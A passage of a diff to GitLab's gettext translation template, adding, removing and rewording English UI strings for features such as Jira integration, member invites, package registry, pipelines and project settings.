msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
